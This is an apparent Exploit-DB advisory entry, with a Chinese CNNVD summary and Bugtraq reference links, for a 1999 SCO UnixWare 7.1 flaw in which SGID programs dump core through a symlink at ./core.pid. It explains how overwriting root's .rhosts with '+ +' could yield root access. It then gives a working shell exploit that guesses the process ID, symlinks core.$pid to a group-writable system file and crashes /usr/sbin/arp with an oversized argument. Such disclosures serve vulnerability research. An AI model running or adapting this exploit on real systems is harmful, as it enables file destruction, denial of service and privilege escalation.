https://www.exploit-db.com/exploits/19659
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-024

UnixWare程序的核心转储存在漏洞。本地用户利用一个位于./core.pid文件上的符号链接攻击，可以修改文件。

source: http://www.securityfocus.com/bid/851/info


Under certain versions of SCO UnixWare if a user can force a program with SGID (Set Group ID) to dump core they may launch a symlink attack by guessing the PID (Process ID) of the SGID process which they are calling. This is required because the coredump file will be dumped to the directory in which it is being executed from as './core.pid'. The program dumping core does not check for the existence of a symlinked file and will happily overwrite any file which it has permission to do so to. Many SGID binaries under Unixware are in the group 'sgid-sys' a group which has write permission to a large number of system critical files.

This attack will most likely result in a denial of service attack, however if the attacker can provide some provide data to the core file she may be able to leverage root access. For example is the intruder were able to get '+ +' into a line of it's own in the core file the intruder could then overwrite root's .rhosts file. 

#!/bin/sh
####
# Exploit for UnixWare 7.1 - sgid coredumps follow symlinks.
# Guessing pid is trivial. Any sgid program which will coredump can be used
# -Brock Tellier, [email protected]
####
pid=`expr $$ + 4`;
ln -s /path/to/sys/group/writable/file core.$pid
/usr/sbin/arp `perl -e "print 'A' x 10000"`

来源:BUGTRAQ
名称:19991202UnixWarecoredumpsfollowsymlinks
链接:http://www.securityfocus.com/templates/archive.pike?list=1&msg;[email protected]
来源:BID
名称:851
链接:http://www.securityfocus.com/bid/851
来源:BUGTRAQ
名称:19991223FYI,SCOSecuritypatchesavailable.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94606167110764&w;=2
来源:BUGTRAQ
名称:19991220SCOOpenServerSecurityStatus
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94581379905584&w;=2
来源:BUGTRAQ
名称:19991215RecentpostingsaboutSCOUnixWare7
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94530783815434&w;=2